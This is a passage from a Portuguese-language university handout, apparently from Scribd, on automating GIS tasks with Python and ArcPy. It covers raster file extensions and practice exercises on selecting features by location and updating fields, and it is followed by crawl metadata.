http://desktop.arcgis.com/en/arcmap/latest/analyze/arcpy-spatial-analyst/an-overview- of-remap-classes.htm Rasters e extensões de arquivo O script de exemplo acima usa a extensão de arquivo para os rasters .tif. Ocorre que os rasters que não usam extensões são atribuidos o formato ESRI GRID. Se você tiver rasters em outro formato, como .jpg, será necessário adicionar a extensão de arquivo correta. Se você não tiver certeza da sintaxe a ser usada ao fornecer um nome de arquivo raster, destaque o raster no ArcCatalog e observe como o caminho aparece na barra Location. Se você observar rasters como o ESRI GRID no Windows Explorer, poderá ver que eles consistem em vários arquivos de suporte com diferentes extensões, às vezes até contidos em uma série de pastas. Não tente adivinhar um dos arquivos para referência; em vez disso, use o ArcCatalog para obter o caminho para o raster. Quando você usa esse caminho, os arquivos e pastas de suporte funcionarão juntos automaticamente. Leituras O capítulo 9 de Zandbergen cobre muitas funções adicionais que você pode executar com rasters e tem alguns bons exemplos de código. Exercícios Práticos – etapa 3 Exercício 1 Neste exercício prático, você selecionará feições por localização e atualizará um campo para as feições selecionados. Você também usará sua seleção para realizar um cálculo. Na sua pasta de dados, você tem um geodatabase BD.gdb com duas classes de feições: • Cidades - Contém os limites de polígonos das cidades do estado do ES. • EstacoesFlu - contém feições de pontos que representam postos Fluviométricos. O objetivo Você quer descobrir quais cidades contêm postos fluviométricos e qual porcentagem de cidades tem pelo menos um posto. 108 • A classe de feições Cidades tem um campo "estFlu", que é definido como “Falso” por padrão. Seu trabalho é marcar esse campo como “Verdadeiro” para todas as cidades que contenham pelo menos um posto fluviométrico dentro de seus limites. • Seu script também deve calcular a porcentagem de cidades que têm postos fluviométricos e imprimir esse número para o usuário. Você não precisa criar uma ferramenta de script para essa atribuição. Você pode codificar os valores das variáveis. Tente agrupar as variáveis de string codificadas no início do script. Dicas Você pode pular para a tarefa neste momento ou ler as dicas a seguir para fornecer algumas orientações. • Crie duas camadas de feições: "cidadesLayer" e "postosFluLayer". • Use SelectLayerByLocation com um tipo de relacionamento "CONTAINS" para restringir a lista de camadas de feições de suas cidades a apenas as cidades que contêm postos fluviométricos. • Crie um cursor de atualização para "cidadesLayer" reduzido e faça um loop em cada registro, configurando o campo estFlu para “Verdadeiro”. • Para calcular a porcentagem de cidades com postos, você precisa saber o número total de cidades. Você pode usar a ferramenta GetCount para obter um total sem escrever um loop. Cuidado, você pode ter que mexer com a saída um pouco para obtê-la em um formato que você possa usar. Veja o exemplo na documentação da ESRI que converte o resultado GetCount em um inteiro. Exercício 2 Na sua pasta de dados, você tem um geodatab
{ "url": "https://pt.scribd.com/document/443213523/apostila-USP-SEA5923-Integracao-SIG-e-linguagem-Phyton-automatizacao-de-ferramentas-para-SIGs-pdf", "source_domain": "pt.scribd.com", "snapshot_id": "CC-MAIN-2023-40", "warc_metadata": { "Content-Length": "1049916", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:FMBEGNVBFIHN3AQCEPECHG5JUYWNBVLB", "WARC-Concurrent-To": "<urn:uuid:7a133a4f-eb5c-419f-a521-fd488fa037b4>", "WARC-Date": "2023-09-24T12:08:27Z", "WARC-IP-Address": "146.75.34.152", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:2D7CZKQ557VYDJANJ4MA46ZG6P55KPVL", "WARC-Record-ID": "<urn:uuid:7d7a5528-826e-4f2d-b312-39d3766787e1>", "WARC-Target-URI": "https://pt.scribd.com/document/443213523/apostila-USP-SEA5923-Integracao-SIG-e-linguagem-Phyton-automatizacao-de-ferramentas-para-SIGs-pdf", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:c8b57b61-1875-4d25-98d5-428d38f67034>" }, "warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-5\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 28, 29, 47, 48, 81, 82, 105, 106, 107, 158, 167, 168, 193, 277, 354, 355, 370, 445, 531, 614, 704, 792, 875, 960, 1051, 1077, 1078, 1088, 1163, 1245, 1302, 1303, 1317, 1399, 1437, 1516, 1539, 1540, 1562, 1563, 1564, 1640, 1719, 1804, 1888, 1966, 2044, 2132, 2219, 2306, 2382, 2469, 2548, 2634, 2723, 2773, 2774, 2798, 2799, 2800, 2883, 2964, 3048, 3126, 3202, 3283, 3366, 3451, 3537, 3615, 3713, 3782, 3832, 3880, 3881, 3894, 3935, 3936, 3981, 3982, 3983, 4066, 4155, 4237, 4327, 4415, 4495, 4568, 4650, 4738, 4819, 4860, 4879, 4912, 4950, 4987, 5055, 5083, 5116, 5152, 5175, 5232, 5288, 5312, 5332, 5368, 5393, 5430, 5458, 5502, 5512, 5522, 5539, 5574, 5643, 5703, 5730, 5765, 5838, 5902, 5903, 5905, 5952, 6031, 6119, 6206, 6292, 6377, 6416, 6435, 6464, 6473, 6484, 6508, 6533, 6556, 6599, 6643, 6677, 6718, 6743, 6807, 6808, 6862, 6863, 6864, 6945, 7030, 7116, 7204, 7293, 7380, 7449, 7468, 7517, 7555, 7598, 7616, 7672, 7725, 7767, 7802, 7830, 7856, 7868, 7869, 7871, 7918, 7998, 8093, 8174, 8263, 8347, 8432, 8454, 8535, 8618, 8706, 8798, 8885, 8902, 8921, 8941, 8970, 8994, 9052, 9109, 9147, 9187, 9199, 9200, 9214, 9303, 9387, 9449, 9450, 9452, 9497, 9498, 9519, 9520, 9553, 9554, 9555, 9633, 9700, 9774, 9813, 9887, 9929, 10003, 10034, 10108, 10124, 10125, 10156, 10157, 10158, 10239, 10325, 10416, 10504, 10594, 10680, 10696, 10775, 10863, 10947, 11004, 11086, 11170, 11257, 11349, 11429, 11490, 11574, 11649, 11739, 11798, 11799, 11801, 11877, 11963, 12005, 12074, 12154, 12189, 12264, 12346, 12428, 12504, 12580, 12662, 12740, 12828, 12916, 13000, 13089, 13180, 13258, 13347, 13427, 13510, 13600, 13609, 13692, 13780, 13872, 13953, 14041, 14079, 14167, 14253, 14318, 14394, 14476, 14560, 14645, 14725, 14812, 14904, 14987, 15069, 15155, 15242, 15332, 15419, 15420, 15422, 15506, 15596, 15678, 15762, 15775, 15847, 15934, 16024, 16106, 16143, 16222, 16304, 16381, 16469, 16523, 16524, 16560, 16561, 16562, 16644, 16727, 16812, 16901, 16978, 17058, 17071, 17088, 17161, 17245, 17333, 17382, 17451, 17534, 17619, 17703, 17787, 17795, 17862, 17924, 17993, 18073, 18154, 18229, 18315, 18402, 18403, 18406, 18490, 18571, 18592, 18660, 18742, 18827, 18901, 18958, 19034, 19117, 19199, 19218, 19293, 19380, 19463, 19545, 19559, 19640, 19729, 19817, 19897, 19949, 20017, 20101, 20172, 20247, 20335, 20354, 20429, 20512, 20598, 20652, 20728, 20808, 20887, 20971, 21055, 21109, 21110, 21145, 21146, 21147, 21220, 21241, 21317, 21392, 21393, 21396, 21478, 21532, 21605, 21683, 21730, 21810, 21894, 21977, 22057, 22095, 22168, 22255, 22338, 22348, 22428, 22461, 22462, 22521, 22522, 22523, 22603, 22650, 22728, 22778, 22849, 22905, 22979, 23061, 23104, 23141, 23142, 23211, 23268, 23344, 23372, 23427, 23502, 23565, 23644, 23729, 23808, 23878, 23953, 24031, 24032, 24035, 24103, 24184, 24209, 24285, 24365, 24448, 24514, 24589, 24672, 24753, 24831, 24841, 24884, 24961, 25051, 25137, 25188, 25258, 25335, 25345, 25423, 25506, 25588, 25668, 25756, 25809, 25810, 25886, 25887, 25913, 25914, 25915, 25994, 26079, 26161, 26253, 26345, 26395, 26396, 26399, 26475, 26559, 26642, 26732, 26818, 26896, 26986, 27076, 27166, 27207, 27208, 27239, 27240, 27241, 27325, 27416, 27451, 27530, 27586, 27665, 27748, 27833, 27916, 27997, 28041, 28121, 28212, 28296, 28383, 28472, 28558, 28636, 28723, 28760, 28761, 28795, 28796, 28797, 28879, 28964, 29051, 29136, 29228, 29318, 29400, 29401, 29404, 29496, 29556, 29624, 29698, 29758, 29782, 29856, 29942, 30032, 30055, 30128, 30199, 30268, 30344, 30401, 30455, 30532, 30620, 30697, 30779, 30852, 30925, 31009, 31087, 31133, 31158, 31184, 31209, 31241, 31319, 31394, 31453, 31531, 31613, 31690, 31772, 31852, 31930, 32010, 32063, 32064, 32067, 32141, 32218, 32290, 32352, 32432, 32486, 32560, 32635, 32717, 32773, 32853, 32934, 33018, 33099, 33139, 33206, 33283, 33308, 33385, 33447, 33497, 33582, 33646, 33647, 33670, 33743, 33773, 33850, 33931, 34015, 34082, 34083, 34086, 34128, 34210, 34296, 34375, 34452, 34538, 34619, 34703, 34788, 34866, 34938, 35001, 35081, 35170, 35252, 35334, 35405, 35434, 35435, 35481, 35482, 35483, 35559, 35640, 35641, 35644, 35725, 35807, 35882, 35968, 36052, 36138, 36225, 36235, 36311, 36394, 36480, 36499, 36580, 36659, 36660, 36714, 36715, 36716, 36793, 36865, 36943, 36952, 36982, 36983, 37052, 37053, 37054, 37135, 37168, 37239, 37327, 37355, 37356, 37359, 37388, 37469, 37498, 37579, 37665, 37757, 37844, 37935, 38023, 38054, 38055, 38089, 38090, 38111, 38185, 38271, 38363, 38410, 38493, 38582, 38666, 38754, 38844, 38935, 38936, 38939, 39027, 39119, 39136, 39213, 39293, 39349, 39383, 39463, 39528, 39606, 39688, 39775, 39857, 39913, 39977, 40005, 40080, 40162, 40188, 40264, 40349, 40433, 40448, 40522, 40599, 40683, 40765, 40812, 40885, 40968, 41055, 41082, 41162, 41241, 41315, 41342, 41417, 41505, 41587, 41646, 41724, 41769, 41846, 41899, 41900, 41903, 41979, 42061, 42103, 42104, 42184, 42212, 42255, 42325, 42399, 42400, 42483, 42484, 42485, 42509, 42576, 42661, 42742, 42790, 42791, 42794, 42865, 42953, 42964, 43045, 43123, 43146, 43220, 43305, 43393, 43460, 43461, 43516, 43517, 43518, 43602, 43688, 43774, 43862, 43949, 43957, 43990, 44070, 44156, 44240, 44325, 44386, 44446, 44529, 44619, 44693, 44776, 44865, 44957, 45013, 45091, 45135, 45175, 45254, 45344, 45364, 45437, 45524, 45614, 45615, 45618, 45705, 45751, 45809, 45900, 45923, 45985, 46084, 46112, 46185, 46268, 46332, 46356, 46440, 46529, 46620, 46704, 46748, 46823, 46906, 46986, 47070, 47141, 47224, 47284, 47372, 47466, 47554, 47610, 47619, 47693, 47726, 47727, 47785, 47786, 47787, 47868, 47948, 48035, 48123, 48184, 48242, 48277, 48352, 48353, 48356, 48424, 48511, 48589, 48660, 48677, 48747, 48779, 48818, 48891, 48970, 49009, 49092, 49178, 49266, 49346, 49432, 49518, 49606, 49650, 49736, 49821, 49906, 49994, 50077, 50167, 50247, 50328, 50417, 50505, 50544, 50620, 50703, 50751, 50830, 50918, 51005, 51092, 51179, 51267, 51350, 51435, 51522, 51604, 51693, 51778, 51817, 51818, 51821, 51901, 51983, 52065, 52135, 52218, 52301, 52386, 52449, 52523, 52608, 52699, 52713, 52794, 52881, 52967, 53038, 53047, 53133, 53222, 53223, 53241, 53321, 53406, 53501, 53586, 53674, 53712, 53794, 53876, 53966, 54059, 54089, 54172, 54257, 54265, 54349, 54430, 54520, 54602, 54692, 54740, 54741, 54744, 54825, 54916, 54955, 55034, 55113, 55134, 55210, 55253, 55288, 55366, 55445, 55446, 55469, 55553, 55631, 55715, 55798, 55847, 55929, 56010, 56095, 56180, 56263, 56292, 56373, 56459, 56476, 56560, 56626, 56708, 56798, 56883, 56896, 56933, 56990, 57068, 57078, 57157, 57243, 57323, 57365, 57366, 57369, 57438, 57511, 57584, 57667, 57741, 57819, 57900, 57911, 57991, 58002, 58085, 58174, 58261, 58262, 58285, 58369, 58425, 58510, 58599, 58689, 58779, 58866, 58955, 58976, 58977, 59010, 59011, 59012, 59097, 59185, 59272, 59358, 59434, 59435, 59467, 59468, 59471, 59558, 59637, 59719, 59804, 59884, 59968, 59978, 60014, 60015, 60094, 60186, 60268, 60348, 60429, 60516, 60526, 60527, 60553, 60554, 60555, 60632, 60720, 60745, 60827, 60914, 60994, 61074, 61114, 61191, 61283, 61366, 61438, 61524, 61611, 61699, 61784, 61876, 61967, 62051, 62063, 62140, 62152, 62162, 62163, 62166, 62245, 62330, 62418, 62442, 62522, 62560, 62570, 62653, 62713, 62792, 62851, 62869, 62871, 62950, 63019, 63050, 63070, 63085, 63166, 63254, 63341, 63367, 63393, 63423, 63443, 63526, 63616, 63641, 63660, 63685, 63767, 63815, 63825, 63839, 63853, 63855, 63929, 64004, 64045, 64046, 64049, 64096, 64147, 64215, 64297, 64378, 64459, 64533, 64567, 64652, 64732, 64809, 64843, 64852, 64910, 64995, 65083, 65099, 65100, 65142, 65143, 65144, 65218, 65302, 65393, 65480, 65533, 65588, 65642, 65695, 65754, 65831, 65905, 65989, 66074, 66123, 66170, 66221, 66250, 66269, 66287, 66288, 66291, 66343, 66350, 66357, 66438, 66445, 66474, 66499, 66544, 66575, 66656, 66743, 66821, 66903, 66989, 67013, 67014, 67022, 67102, 67193, 67279, 67366, 67443, 67523, 67610, 67695, 67778, 67852, 67928, 68016, 68103, 68192, 68204, 68217, 68303, 68392, 68469, 68553, 68635, 68722, 68810, 68811, 68814, 68896, 68982, 69074, 69161, 69170, 69251, 69252, 69260, 69344, 69432, 69523, 69606, 69634, 69711, 69798, 69884, 69959, 70043, 70128, 70213, 70262, 70347, 70435, 70517, 70595, 70615, 70695, 70724, 70725, 70728, 70791, 70875, 70954, 71040, 71123, 71214, 71295, 71349, 71350, 71368, 71448, 71534, 71584, 71656, 71742, 71825, 71909, 71910, 71913, 71997, 72059, 72140, 72225, 72313, 72356, 72432, 72519, 72603, 72687, 72768, 72834, 72910, 72994, 73078, 73154, 73237, 73317, 73368, 73443, 73531, 73617, 73700, 73783, 73871, 73896, 73897, 73956, 73957, 73958, 73966, 74053, 74108, 74169, 74193, 74195, 74210, 74212, 74269, 74271, 74328, 74366, 74367, 74370, 74416, 74419, 74462, 74497, 74583, 74608, 74692, 74778, 74866, 74878, 74959, 75015, 75101, 75185, 75227, 75304, 75390, 75474, 75511, 75591, 75606, 75689, 75775, 75858, 75945, 76031, 76122, 76148, 76232, 76321, 76411, 76432, 76514, 76604, 76685, 76774, 76791, 76860, 76951, 77016, 77043, 77110, 77111, 77114, 77192, 77275, 77358, 77374, 77445, 77533, 77582, 77660, 77741, 77750, 77782, 77858, 77944, 78034, 78115, 78207, 78292, 78338, 78380, 78420, 78491, 78519, 78559, 78639, 78724, 78752, 78761, 78850, 78933, 79017, 79085, 79167, 79254, 79298, 79386, 79387, 79438, 79439, 79440, 79524, 79611, 79612, 79615, 79703, 79720, 79804, 79890, 79980, 80075, 80126, 80127, 80186, 80187, 80188, 80228, 80230, 80245, 80270, 80272, 80312, 80363, 80385, 80388, 80439, 80494, 80545, 80624, 80675, 80732, 80805, 80891, 80967, 81052, 81119, 81200, 81283, 81354, 81435, 81521, 81589, 81660, 81740, 81799, 81873, 81958, 81959, 81962, 82019, 82095, 82126, 82210, 82296, 82305, 82369, 82445, 82530, 82588, 82673, 82707, 82716, 82801, 82843, 82844, 82869, 82870, 82871, 82947, 83035, 83130, 83153, 83240, 83332, 83415, 83501, 83583, 83662, 83751, 83830, 83858, 83940, 83972, 83973, 84035, 84036, 84037, 84098, 84100, 84115, 84150, 84151, 84154, 84156, 84163, 84191, 84231, 84270, 84319, 84322, 84350, 84408, 84411, 84436, 84471, 84474, 84485, 84506, 84563, 84566, 84623, 84664, 84743, 84831, 84880, 84947, 85036, 85125, 85203, 85247, 85322, 85405, 85431, 85509, 85600, 85683, 85768, 85853, 85922, 86003, 86093, 86181, 86182, 86185, 86269, 86356, 86438, 86520, 86608, 86683, 86758, 86841, 86924, 87002, 87077, 87162, 87249, 87305, 87386, 87470, 87558, 87571, 87641, 87730, 87818, 87898, 87907, 87983, 88068, 88069, 88102, 88103, 88104, 88177, 88261, 88269, 88349, 88440, 88521, 88610, 88651, 88736, 88816, 88903, 88962, 89017, 89089, 89136, 89137, 89140, 89182, 89224, 89295, 89358, 89437, 89445, 89518, 89552, 89553, 89606, 89607, 89608, 89683, 89754, 89830, 89915, 90002, 90084, 90163, 90173, 90253, 90319, 90400, 90483, 90484, 90487, 90576, 90659, 90746, 90833, 90898, 90899, 90922, 90993, 91077, 91084, 91158, 91239, 91280, 91281, 91323, 91324, 91325, 91400, 91480, 91558, 91578, 91579, 91582, 91657, 91741, 91822, 91823, 91875, 91876, 91877, 91953, 91979, 91980, 92018, 92019, 92020, 92098, 92178, 92262, 92344, 92422, 92499, 92507, 92508, 92511, 92537, 92612, 92697, 92784, 92861, 92882, 92960, 93044, 93045, 93123, 93124, 93125, 93200, 93280, 93363, 93444, 93521, 93606, 93669, 93670, 93673, 93682, 93763, 93802, 93803, 93849, 93850, 93851, 93932, 94020, 94108, 94197, 94285, 94373, 94455, 94534, 94622, 94676, 94758, 94840, 94927, 95012, 95095, 95173, 95187, 95268, 95344, 95382, 95456, 95467, 95468, 95471, 95489, 95570, 95655, 95743, 95744, 95747, 95835, 95913, 95937, 95958, 96014, 96086, 96169, 96241, 96318, 96406, 96419, 96496, 96582, 96669, 96750, 96828, 96906, 96927, 97000, 97081, 97169, 97256, 97344, 97429, 97453, 97526, 97615, 97699, 97782, 97869, 97953, 98043, 98126, 98213, 98293, 98326, 98407, 98482, 98567, 98651, 98734, 98777, 98861, 98877, 98878, 98881, 98903, 98984, 99076, 99111, 99112, 99140, 99141, 99144, 99150, 99207, 99282, 99370, 99396, 99475, 99557, 99636, 99719, 99801, 99880, 99920, 99993, 100078, 100163, 100252, 100279, 100353, 100439, 100521, 100538, 100539, 100583, 100584, 100585, 100671, 100766, 100858, 100941, 100990, 101071, 101161, 101247, 101335, 101415, 101477, 101561, 101568, 101612, 101691, 101778, 101862, 101897, 101898, 101901, 101979, 101995, 102074, 102159, 102171, 102180, 102223, 102298, 102386, 102473, 102554, 102608, 102675, 102750, 102824, 102825, 102828, 102873, 102874, 102895, 102928, 103006, 103085, 103155, 103213, 103265, 103341, 103372, 103373, 103400, 103401, 103402, 103489, 103579, 103667, 103750, 103831, 103920, 104004, 104094, 104114, 104199, 104288, 104370, 104460, 104540, 104626, 104680, 104763, 104846, 104936, 105028, 105111, 105200, 105218, 105295, 105385, 105474, 105561, 105562, 105565, 105649, 105729, 105742, 105743, 105750, 105827, 105916, 106006, 106035, 106122, 106152, 106201, 106283, 106365, 106452, 106543, 106632, 106646, 106730, 106777, 106851, 106938, 107033, 107122, 107154, 107176, 107184, 107208, 107212, 107295, 107385, 107402, 107482, 107574, 107662, 107754, 107824, 107906, 107998, 108082, 108083, 108086, 108137, 108156, 108175, 108213, 108297, 108384, 108471, 108558, 108643, 108727, 108812, 108882, 108965, 109052, 109126, 109148, 109167, 109207, 109293, 109387, 109401, 109437, 109525, 109552, 109579, 109608, 109627, 109658, 109742, 109832, 109847, 109868, 109887, 109923, 109947, 109966, 110007, 110008, 110011, 110098, 110190, 110275, 110365, 110392, 110411, 110457, 110540, 110606, 110687, 110751, 110782, 110866, 110943, 110983, 111011, 111013, 111101, 111195, 111235, 111282, 111360, 111448, 111536, 111623, 111705, 111735, 111820, 111906, 111996, 112078, 112163, 112196, 112197, 112203, 112286, 112369, 112453, 112454, 112457, 112542, 112569, 112578, 112663, 112713, 112759, 112804, 112890, 112978, 112983, 113016, 113051, 113086, 113169, 113260, 113340, 113422, 113510, 113594, 113686, 113775, 113857, 113939, 113951, 113961, 113993, 114025, 114041, 114042, 114044, 114046, 114048, 114050, 114130, 114188, 114252, 114284, 114316, 114322, 114323, 114326, 114342, 114428, 114519, 114612, 114698, 114792, 114886, 114914, 114995, 115081, 115172, 115224, 115234, 115264, 115280, 115361, 115445, 115532, 115619, 115633, 115643, 115671, 115687, 115766, 115778, 115863, 115905, 115915, 115934, 115952, 115964, 116041, 116124, 116211, 116300, 116328, 116345, 116423, 116509, 116520, 116571, 116572, 116575, 116649, 116674, 116696, 116735, 116816, 116908, 116998, 117082, 117155, 117178, 117262, 117351, 117435, 117492, 117577, 117662, 117748, 117833, 117920, 117942, 117943, 118003, 118004, 118005, 118018, 118019, 118024, 118065, 118066, 118111, 118112, 118113, 118149, 118150, 118203, 118204, 118205, 118233, 118298, 118314, 118315, 118323, 118349, 118378, 118379, 118382, 118466, 118552, 118636, 118719, 118804, 118885, 118966, 119036, 119037, 119050, 119100, 119115, 119116, 119159, 119160, 119214, 119215, 119216, 119258, 119259, 119280, 119281, 119282, 119315, 119334, 119335, 119417, 119418, 119419, 119497, 119524, 119568, 119643, 119644, 119676, 119677, 119678, 119765, 119849, 119937, 120012, 120022, 120036, 120065, 120066, 120069, 120073, 120091, 120178, 120268, 120358, 120443, 120512, 120597, 120603, 120613, 120627, 120656, 120666, 120702, 120706, 120728, 120806, 120891, 120979, 121060, 121129, 121212, 121228, 121238, 121252, 121281, 121298, 121325, 121335, 121364, 121368, 121381, 121467, 121555, 121647, 121722, 121806, 121896, 121913, 121914, 121917, 121998, 122085, 122173, 122263, 122359, 122449, 122520, 122521, 122535, 122536, 122597, 122598, 122599, 122642, 122685, 122731, 122755, 122756, 122815, 122816, 122817, 122849, 122880, 122916, 122948, 122982, 123013, 123019, 123063, 123137, 123219, 123295, 123296, 123319, 123398, 123486, 123569, 123652, 123694, 123695, 123698, 123777, 123864, 123874, 123895, 123982, 124073, 124163, 124252, 124272, 124355, 124446, 124533, 124622, 124640, 124716, 124803, 124885, 124886, 124946, 124947, 124948, 124961, 124962, 125004, 125054, 125108, 125109, 125160, 125161, 125162, 125197, 125234, 125235, 125283, 125284, 125285, 125304, 125305, 125346, 125347, 125348, 125384, 125424, 125475, 125544, 125627, 125715, 125716, 125719, 125778, 125831, 125910, 125995, 126082, 126174, 126263, 126347, 126383, 126407, 126490, 126576, 126663, 126749, 126757, 126835, 126920, 126926, 126940, 126950, 126957, 127005, 127094, 127178, 127267, 127359, 127445, 127517, 127523, 127537, 127547, 127554, 127607, 127691, 127783, 127855, 127864, 127946, 128022, 128109, 128119, 128120, 128123, 128203, 128236, 128309, 128339, 128418, 128451, 128452, 128473, 128474, 128475, 128552, 128640, 128729, 128771, 128853, 128935, 129022, 129041, 129042, 129076, 129077, 129078, 129117, 129136, 129156, 129176, 129196, 129255, 129256, 129259, 129319, 129384, 129467, 129556, 129648, 129677, 129754, 129768, 129828, 129873, 129957, 130038, 130124, 130185, 130264, 130349, 130441, 130528, 130588, 130604, 130636, 130687, 130750, 130790, 130863, 130877, 130930, 130986, 131031, 131061, 131139, 131227, 131321, 131335, 131416, 131505, 131592, 131682, 131755, 131756, 131759, 131773, 131816, 131853, 131898, 131981, 132071, 132109, 132200, 132295, 132390, 132447, 132525, 132608, 132638, 132721, 132777, 132827, 132876, 132957, 133047, 133068, 133155, 133245, 133332, 133380, 133416, 133477, 133562, 133651, 133732, 133809, 133886, 133916, 133941, 133962, 133987, 134007, 134083, 134163, 134187, 134188, 134191, 134229, 134299, 134383, 134390, 134460, 134536, 134614, 134663, 134743, 134803, 134830, 134909, 134997, 135022, 135036, 135113, 135177, 135236, 135249, 135330, 135417, 135429, 135430, 135465, 135466, 135467, 135481, 135524, 135536, 135557, 135612, 135639, 135655, 135692, 135737, 135767, 135818, 135819, 135822, 135873, 135908, 135952, 135977, 135998, 136024, 136044, 136082, 136139, 136152, 136199, 136260, 136286, 136310, 136374, 136456, 136479, 136566, 136648, 136734, 136823, 136904, 136991, 137069, 137147, 137230, 137318, 137360, 137442, 137529, 137615, 137702, 137789, 137866, 137951, 138044, 138131, 138190, 138197, 138198, 138201, 138285, 138375, 138458, 138489, 138510, 138591, 138680, 138766, 138848, 138934, 139023, 139024, 139065, 139066, 139067, 139150, 139240, 139323, 139404, 139494, 139551, 139631, 139714, 139800, 139891, 139975, 140064, 140150, 140238, 140290, 140369, 140460, 140549, 140635, 140719, 140799, 140884, 140964, 141046, 141134, 141195, 141278, 141365, 141436, 141437, 141440, 141482, 141560, 141651, 141731, 141811, 141843, 141916, 141992, 142035, 142112, 142197, 142219, 142243, 142324, 142415, 142426, 142494, 142578, 142664, 142754, 142810, 142880, 142968, 143052, 143132, 143219, 143299, 143383, 143447, 143475, 143555, 143639, 143722, 143806, 143880, 143962, 144048, 144145, 144163, 144242, 144331, 144404, 144405, 144408, 144489, 144574, 144661, 144748, 144821, 144907, 144917, 144936, 145018, 145105, 145192, 145274, 145361, 145415, 145450, 145478, 145543, 145553, 145590, 145657, 145666, 145676, 145730, 145801, 145897, 145943, 146027, 146084, 146126, 146151, 146224, 146240, 146320, 146413, 146427, 146444, 146531, 146623, 146710, 146775, 146857, 146884, 146885, 146888, 146928, 146929, 146956, 146975, 146985, 146999, 147026, 147060, 147142, 147231, 147319, 147403, 147471, 147511, 147538, 147557, 147589, 147599, 147613, 147627, 147646, 147673, 147707, 147741, 147787, 147810, 147813, 147836, 147840, 147863, 147866, 147889, 147893, 147916, 147919, 147921, 147944, 147955, 148036, 148126, 148220, 148221, 148224, 148320, 148370, 148410, 148437, 148447, 148466, 148480, 148507, 148541, 148626, 148706, 148791, 148881, 148964, 149055, 149134, 149191, 149192, 149232, 149233, 149234, 149319, 149398, 149479, 149572, 149666, 149752, 149836, 149928, 150007, 150089, 150185, 150276, 150374, 150379, 150458, 150553, 150582, 150628, 150674, 150720, 150731, 150749, 150779, 150803, 150822, 150823, 150826, 150841, 150925, 151000, 151061, 151135, 151222, 151241, 151315, 151398, 151475, 151561, 151646, 151695, 151775, 151856, 151940, 152021, 152105, 152191, 152274, 152275, 152352, 152353, 152354, 152435, 152455, 152456, 152525, 152526, 152527, 152604, 152693, 152780, 152790, 152864, 152948, 153032, 153098, 153172, 153261, 153277, 153278, 153352, 153426, 153502, 153524, 153602, 153691, 153692, 153695, 153778, 153857, 153900, 153978, 154065, 154147, 154235, 154322, 154411, 154497, 154549, 154573, 154664, 154754, 154822, 154894, 154937, 154983, 155029, 155075, 155086, 155104, 155122, 155154, 155178, 155197, 155212, 155286, 155371, 155454, 155537, 155620, 155691, 155780, 155862, 155951, 156041, 156081, 156165, 156254, 156319, 156403, 156489, 156572, 156662, 156747, 156806, 156807, 156810, 156892, 156964, 157053, 157140, 157226, 157289, 157370, 157445, 157454, 157538, 157630, 157667, 157668, 157722, 157723, 157724, 157732, 157811, 157897, 157986, 158065, 158149, 158236, 158289, 158372, 158457, 158530, 158611, 158697, 158782, 158793, 158798, 158804, 158812, 158840, 158924, 159015, 159107, 159193, 159269, 159356, 159406, 159485, 159574, 159647, 159648, 159651, 159732, 159819, 159904, 159987, 160036, 160119, 160205, 160297, 160382, 160472, 160561, 160648, 160735, 160803, 160831, 160836, 160884, 160892, 160950, 160951, 160956, 161004, 161012, 161070, 161148, 161234, 161321, 161407, 161496, 161580, 161668, 161764, 161850, 161864, 161882, 161955, 162018, 162066, 162144, 162158, 162221, 162297, 162341, 162427, 162516, 162607, 162608, 162611, 162697, 162743, 162744, 162767, 162768, 162769, 162847, 162935, 163024, 163114, 163200, 163240, 163323, 163409, 163494, 163584, 163653, 163669, 163703, 163784, 163870, 163954, 164033, 164111, 164194, 164258, 164341, 164429, 164515, 164602, 164609, 164631, 164717, 164744, 164830, 164918, 164999, 165087, 165177, 165210, 165234, 165315, 165402, 165492, 165493, 165496, 165579, 165589, 165606, 165690, 165773, 165844, 165924, 166011, 166026, 166061, 166144, 166228, 166315, 166398, 166468, 166532, 166612, 166695, 166776, 166866, 166947, 167032, 167124, 167146, 167176, 167260, 167349, 167359, 167360, 167390, 167391, 167392, 167473, 167560, 167647, 167731, 167732, 167735, 167791, 167869, 167957, 168044, 168129, 168173, 168253, 168320, 168331, 168416, 168442, 168520, 168601, 168681, 168772, 168803, 168882, 168971, 169054, 169061, 169062, 169128, 169129, 169130, 169214, 169241, 169257, 169344, 169433, 169490, 169511, 169548, 169635, 169722, 169771, 169859, 169947, 170038, 170093, 170094, 170146, 170147, 170148, 170229, 170318, 170343, 170344, 170347, 170356, 170364, 170372, 170380, 170386, 170387, 170451, 170452, 170453, 170531, 170618, 170694, 170785, 170874, 170959, 171045, 171131, 171222, 171242, 171303, 171389, 171475, 171517, 171518, 171585, 171586, 171587, 171670, 171756, 171836, 171923, 172008, 172097, 172138, 172225, 172308, 172397, 172424, 172471, 172472, 172475, 172532, 172558, 172638, 172724, 172813, 172903, 172993, 173075, 173168, 173251, 173337, 173423, 173428, 173498, 173512, 173590, 173672, 173757, 173834, 173889, 173890, 173975, 173976, 173977, 174055, 174095, 174106, 174188, 174256, 174334, 174384, 174456, 174464, 174529, 174610, 174692, 174774, 174775, 174778, 174851, 174931, 174932, 175019, 175042, 175118, 175179, 175249, 175333, 175382, 175450, 175536, 175543, 175622, 175710, 175795, 175836, 175916, 175990, 176067, 176149, 176233, 176281, 176302, 176388, 176475, 176544, 176623, 176710, 176756, 176841, 176922, 176999, 177065, 177074, 177075, 177078, 177123, 177167, 177216, 177297, 177372, 177378, 177458, 177467, 177544, 177626, 177711, 177774, 177850, 177934, 178016, 178095, 178168, 178186, 178221, 178270, 178347, 178443, 178530, 178623, 178710, 178791, 178831, 178870, 178950, 178955, 178979, 179061, 179149, 179236, 179289, 179379, 179463, 179546, 179622, 179701, 179791, 179869, 179890, 179940, 179943, 179974, 180060, 180146, 180230, 180314, 180394, 180471, 180557, 180636, 180720, 180802, 180882, 180965, 181057, 181064, 181149, 181236, 181322, 181388, 181389, 181392, 181448, 181519, 181607, 181695, 181783, 181804, 